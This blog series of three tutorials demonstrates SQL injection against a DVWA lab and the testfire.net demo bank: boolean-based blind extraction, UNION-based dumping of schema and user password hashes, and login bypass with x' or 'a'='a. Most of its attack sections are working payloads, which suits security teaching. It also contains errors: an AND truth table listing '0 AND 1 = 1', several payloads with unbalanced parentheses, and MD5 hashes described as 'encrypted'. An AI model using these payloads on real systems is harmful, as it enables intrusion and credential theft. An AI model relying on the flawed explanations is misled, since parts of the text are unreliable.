AdSense

Monday, April 2, 2018

SQL Injection - Blind (III): Boolean based attacks


SQL INJECTION - BLIND (III): BOOLEAN BASED ATTACKS

- Layout for this exercise:





1 - Blind SQL injection


- Blind SQL injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the applications response: 


https://www.owasp.org/index.php/Blind_SQL_Injection


- This attack is often used when the web application is configured to show generic error messages, or even no error messages at all, but has not mitigated the code that is vulnerable to SQL injection.


- When an attacker exploits SQL injection, sometimes the web application displays error messages from the database complaining that the SQL Query's syntax is incorrect. 


- Blind SQL injection is nearly identical to normal SQL Injection, the only difference being the way the data is retrieved from the database. 


- When the database does not output data to the web page, an attacker is forced to steal data by asking the database a series of true or false questions. 


- This makes exploiting the SQL Injection vulnerability more difficult, but not impossible.


- In these exercises we will study two types of Blind SQL injections:

  • Boolean based
  • Time delay based

2 - Boolean based  Blind SQL injection

- The boolean-based exploitation is a type of blind SQL injection that uses Boolean conditions to verify whether certain conditions are true or false.


https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)#Boolean_Exploitation_Technique



- This technique is very useful when the tester finds a Blind SQL Injection situation in which nothing is known on the outcome of an operation. 

- For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database.


- For instance, when the page does not return a SQL error, it may just return a HTTP 500, 404, or redirect.


- By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. 


- This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. 


- The most important operator for Boolean based attacks is AND, because it only gives a true answer in case that both sides of the operator are true: 

0 AND 0 = 0
0 AND 1 = 1
1 AND 0 = 0
1 AND 1 = 1


3 - Examples of Boolean based  Blind SQL injection


These SQL injection boolean based exercises will be performed from a Kali Linux device against a DVWA version 1.0.8 MySQL database, with a setup of "medium"security level, stored at an Ubuntu Linux device running the XAMPP web server.









- Going to the SQL Injection (Blind) tab, the following SQL entries (written in green) will be introduced at the user ID form.









3.1) Finding whether the application is vulnerable to SQL error based injection attacks


' (simple quotation mark)


- Entering a simple quote mark the page reloads itself, what means that the input validation code is sanitized, so the application is not vulnerable to SQL error based injection attacks.

- As a consequence the attack will be blind, no clues or hints from inexistent error messages.


3.2) Finding the answer from the application to a true SQL statement

1 AND 1=1

- The result is data related to users with ID=1, because both sides or the AND operator are true:




- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE ID=1 AND 1=1


3.3) Finding the answer from the application to a false SQL statement

1 AND 1=2

- The page reloads itself because there is no error message from the application to the false statement (1 AND 0 = 0), because 1=2 is false.

- As said before, due to the inexistence of error messages that could be used as clues or hints the attack will be blind.

- The real SQL query would be:


SELECT first_name, last_name FROM users WHERE ID=1 AND 1=2


3.4) Finding whether the version of the database is 5

1 AND SUBSTRING(VERSION(),1,1)=5



- Because the application gives a correct answer to the query, the version actually starts by 5.

- SUBSTRING (text, start, length) returns a substring starting from the position "start" of text and of length "length"; if "start" is greater than the length of text, the function returns a null value.

- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE 
ID=1 AND SUBSTRING(VERSION(),1,1)=5

- Because 1 AND 1 = 1, the second operand SUBSTRING(VERSION(),1,1)=5 must be 1 (true).

- In case of entering a query like 1 AND SUBSTRING(VERSION(),1,1)=4 or any other number than 5 the page would reload itselt with no answer.

- To discover more characters, the SUBSTRING command parameters could be increased to 2,3, ..., like: SUBSTRING(VERSION(),2,1), SUBSTRING(VERSION(),3,1), etc ...


3.5) Finding the name of the database

- Because the attacker doesn't know in advance the name of the database he should try several characters until discovering the right one from a correct answer of the application.

- For instance, trying these queries would result in the application reloading itself with no answer:

1 AND ASCII(SUBSTRING(DATABASE(),1,1)=97
1 AND ASCII(SUBSTRING(DATABASE(),1,1)=98
1 AND ASCII(SUBSTRING(DATABASE(),1,1)=99


- Finally:

1 AND ASCII(SUBSTRING(DATABASE(),1,1)=100



- The answer is correct, so both sides of the AND statement must be true (1 AND 1=1), meaning that the first character of the database name is 100 (character 'd' of the ASCII table, starting by 'dvwa').

ASCII (char) gives back the ASCII value of the input character; a null value is returned if char is 0.

- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE 
ID=1 AND ASCII(SUBSTRING(DATABASE(),1,1)=100


- To discover more characters, the SUBSTRING command parameters could be increased to 2,3, ..., like: SUBSTRING(DATABASE(),2,1), SUBSTRING(DATABASE(),3,1), etc ...


3.6) Finding whether the application allows execution of sub select statements

1 AND (SELECT 1) = 1




- The answer is correct, so the application allows execution of sub select statements, what will be used at later examples.

- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE 
ID=1 AND (SELECT 1)=1


3.7) Finding table names of the database

1 AND (SELECT 1 FROM users LIMIT 0,1)=1

- The answer is correct, so the table with name "users" exists:



- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE 
ID=1 AND (SELECT 1 FROM users LIMIT 0,1)=1


- In the same way, the existance of the table "guestbook" can be checked:


1 AND (SELECT 1 FROM guestbook LIMIT 0,1)=1




3.8) Finding the existence of the column named "password " in the  table named "users"

1 AND (SELECT SUBSTRING(CONCAT(1,PASSWORD),1,1) FROM users LIMIT 0,1)=1

- The answer is correct, so the column with name "password" exists:





- In the same way, we could checked that the column "pizzas" does not exist, because the result of this query would be the page reloading itself with no answer:

1 AND (SELECT SUBSTRING(CONCAT(1,PIZZAS),1,1) FROM users LIMIT 0,1)=1


- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE 
ID=1 
AND 
(SELECT SUBSTRING(CONCAT(1,PASSWORD),1,1) FROM users LIMIT 0,1)=1


3.9) Trying the usernames and passwords character by character

1 AND ASCII(SUBSTRING((SELECT CONCAT(USER,0x3A, PASSWORD) FROM users LIMIT 0,1),1,1))>100

1 AND ASCII(SUBSTRING((SELECT CONCAT(USER,0x3A, PASSWORD) FROM users LIMIT 0,1),1,1))>99

etc ...

- All previous queries give blank or reloading page, so we conclude that the second sides of the queries are false.

- However, the answer is correct for >96, so it means that the username starts at least with the character 97, it is the "a" for "admin":

1 AND ASCII(SUBSTRING((SELECT CONCAT(USER,0x3A, PASSWORD) FROM users LIMIT 0,1),1,1))>96




- This query confirms that we are in the right track: the username starts by "a" (97 ASCII  value)

1 AND ASCII(SUBSTRING((SELECT CONCAT(USER,0x3A, PASSWORD) FROM users LIMIT 0,1),1,1))=97



- The ASCII value 0x3A corresponds to the colon character " : ".

- To discover the whole name and password the process should continue until discovering all the characters one by one, increasing the numbers of the SUBSTRING parameters:

SUBSTRING((SELECT CONCAT(USER,0x3A, PASSWORD) FROM users LIMIT 0,1),2,1)
SUBSTRING((SELECT CONCAT(USER,0x3A, PASSWORD) FROM users LIMIT 0,1),3,1)
SUBSTRING((SELECT CONCAT(USER,0x3A, PASSWORD) FROM users LIMIT 0,1),4,1)
SUBSTRING((SELECT CONCAT(USER,0x3A, PASSWORD) FROM users LIMIT 0,1),5,1)


- Let's check character by character that the username "admin" really exists:

  • 1st character = "a" = 97 ASCII  value
  • 2nd character = "d" = 100 ASCII  value 
  • 3rd character = "m" = 109 ASCII  value
  • 4th character = "i" = 105 ASCII  value
  • 5th character = "n" = 110 ASCII  value










- The real SQL query of the last list would be:

SELECT first_name, last_name FROM users WHERE 
ID=1
AND
ASCII(SUBSTRING((SELECT CONCAT(USER,0x3A, PASSWORD) FROM users LIMIT 0,1),5,1))=110

- Both sides of the AND operator must be true to give an answer, so we infere that it is correct that the 5th letter of the username is "n" (ASCII value 110).



- Same process for retrieving the password. It could be tedious but not impossible.









SQL Injection (II): Error based attacks


SQL INJECTION (II): ERROR BASED ATTACKS

- Layout for this exercise:




1 - Introduction 

- The Error based SQL injection attacks technique consists in forcing the database to perform some operation in which the result will be an error, what reveals information about the contents of the database. 

- The attacker will try to extract from the database  some useful data interpreting the error message. 

- This technique is useful when the attacker can’t exploit the SQL injection vulnerability using other technique such as the UNION command.

- This exploitation technique may be different for each type of DBMS.

https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)#Error_based_Exploitation_technique


2 - Examples of Error-based SQL injections

- These SQL injection error-based exercises will be performed from a Kali Linux device against a DVWA version 1.0.8 MySQL database, with a setup of "medium"security level, stored at an Ubuntu Linux device running the XAMPP web server.









- Going to the SQL Injection tab, the following SQL entries (written in green) will be introduced at the user ID form:





2.1) Finding the maximum number of entries 

1,2,3,4,5

- Trying 1,2,3,4,5, 6 ... 











- When arriving to 6 there is no answer, so we can deduce that the maximum number of entries is 5.

- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE ID=X#  where X =1,2,3,4,5,6 ...

2.2) Finding all the entries of the table

7 OR 1=1

- Because 1=1 is always TRUE the whole sentence is also TRUE and the result displays all the entries contained in the table:



- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE ID=7 OR 1=1, what is always TRUE because 0 OR 1 = 1.


2.3) Discovering the type of database

' (simple quotation mark)

- Entering a simple quote mark the error message shows the name or type of database (MySQL in this case):





- The actual query would be:

SELECT first_name, last_name FROM users WHERE ID = ' , what gives an error answer because there is no user ID='.

- By the way, the single quote ' could be sanitized by a backslash character \' that would produce a scape sequence. 


2.4) Finding the number or columns/attributes selected by the user input field

1 ORDER BY X

- Taking the user ID=1 and trying X = 10, 5, 4, 3 as the column parameters, the application gives an error message:










- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE ID=1 ORDER BY X#

- Finally, entering X = 2, 1 the answer is correct, what means that the user input fields selects two columns or attributes (first_name, last_name):







2.5) Finding the username

5 UNION SELECT NULL, USER()#

- The username is displayed with the command user():





- The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. 

- The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. 


- For instance, the UNION operator can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.

- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE ID=5 UNION SELECT user()

- The NULL value is taken because the UNION command works only when both sides have the same number of values. 

- In this case we have 2 values at the right side (first_name and last_name), so we also need 2 values at the left side (NULL and user()).

- By the way, this query is similar to the next three examples, just changing the parameter user() to parameters version(), @@hostname and database()


2.6) Finding the database version

5 UNION SELECT NULL, VERSION()#

- The database version is displayed with the command version():




2.7) Finding the hostname

5 UNION SELECT NULL, @@HOSTNAME#

- The hostname of the device in which the application is running is displayed:




2.8) Finding the database name

5 UNION SELECT NULL, DATABASE()#

- The command database() fetchs the database name:




2.9) Finding all databases in the server

1 UNION SELECT NULL, TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES#

- The result enumerates the databases present in the server:




- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE ID=1 UNION SELECT null, table_schema FROM information_schema.tables#


2.10)  Finding all tables names inside the database "dvwa"

1 UNION SELECT NULL, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x64767761#

- Where 0x64767761 is the hexadecimal ASCII corresponding to the name "dvwa":



- The result is that there are two tables inside the database "dvwa" (0x64767761 in hexadecimal): "guestbook" and "users".

- In this case the real SQL query would be:

SELECT first_name, last_name FROM users WHERE ID=1 UNION SELECT null, table_name FROM information_schema.tables WHERE table_schema=0x64767761#


2.11) Finding column names in the table "users"

1 UNION SELECT NULL,CONCAT(TABLE_NAME,0x0A,COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x7573657273#

- Where 0x7573657273 corresponds to the hexadecimal ASCII of the table "users", and 0x0A corresponds to the Line Feed character entered before displaying each column:



- The results displays the names of the columns at the table "users". Some of them seem interesting, for example the column "password" ...


2.12) Finding usernames and passwords from the table "users"

1 UNION SELECT NULL, CONCAT(FIRST_NAME,0x0A, LAST_NAME,0x0A, USER, 0x0A, PASSWORD, 0x0A) FROM users#

- The result is the list of all usernames and passwords (encrypted with the MD5 hash because the database users that algorithm to store them).

- Let's notice that 4 Line Feed characters (0x0A) are used because the answer is composed of 4 subresults (first_name, last_name, user and password):



- The real SQL query would be:

SELECT first_name, last_name FROM users WHERE ID=1 
UNION
SELECT null, CONCAT(first_name, 0x0A, last_name, 0x0A, user, 0x0A, password, 0x0A) FROM users #



3 - Decrypting the passwords

-  The MD5 passwords hashes obtained before can be decrypted with a tool like this:






































SQL Injection (I): Authentication bypass


SQL INJECTION (I): AUTHENTICATION BYPASS

- Layout for this exercise:






1 - SQL INJECTION

- An SQL injection attack consists of insertion or "injection" of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. 

https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)

- A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. 

- SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

- A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. 

- If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. 


- However, if the application hides the error details, then the attacker must be able to reverse engineer the logic of the original query.


2 - AUTHENTICATION BYPASS

- This type of SQL Injection tries to gain access to a database by inserting SQL Queries within the input fields of a login application, so that the security mechanism is bypassed. 

- Let's take as victim example this demo banking account login page:


http://demo.testfire.net/bank/login.aspx


- Because it is a demo webpage we know in advance that this database holds a record like this:




- Let's start by examining an usual login SQL query:

SELECT account FROM USERS WHERE username = 'admin' AND password = 'admin'

- The boolean statement username = 'admin' AND password = 'admin' is only TRUE when both boolean operators are TRUE (1 AND 1 = 1).

- In this way, entering the correct credentials admin/admin for both the username and password fields the access is correct:






- However, if one the operators is FALSE (password = '12345') the whole statement falls to FALSE (1 AND 0 = 0):

SELECT account FROM USERS WHERE username = 'admin' AND password = '12345'


- So, entering incorrect credentials like admin/12345 the login process fails:



- By the way, entering a simple quotation mark character (') is a good way to discover if the application is prone to SQL Injection, like it is the case:





- Taking advantage of the SQL query boolean structure, we can forge the credentials so that the whole statement becomes TRUE. For instance:


SELECT account FROM USERS WHERE username = 'admin' AND password = 'x' or 'a'='a'


- Let's notice that 'x' or 'a'='a' is always TRUE (x OR 1 = 1), so the whole statement again would be TRUE (1 AND 1 = 1)


- Checking that a crafted password like x' or 'a'='a gives access to the database:




- Even more, using x' or 'a'='a both for username and password (x' or 'a'='a / x' or 'a'='a) also does the trick of giving access to the database:







- In this final case what we actually have is this:

SELECT account FROM USERS WHERE username =  'x' or 'a'='aAND password = 'x' or 'a'='a'


- The SQL query always falls to TRUE, because both AND operators are TRUE (1 AND 1 = 1). In other words:

SELECT account FROM USERS WHERE TRUE AND TRUE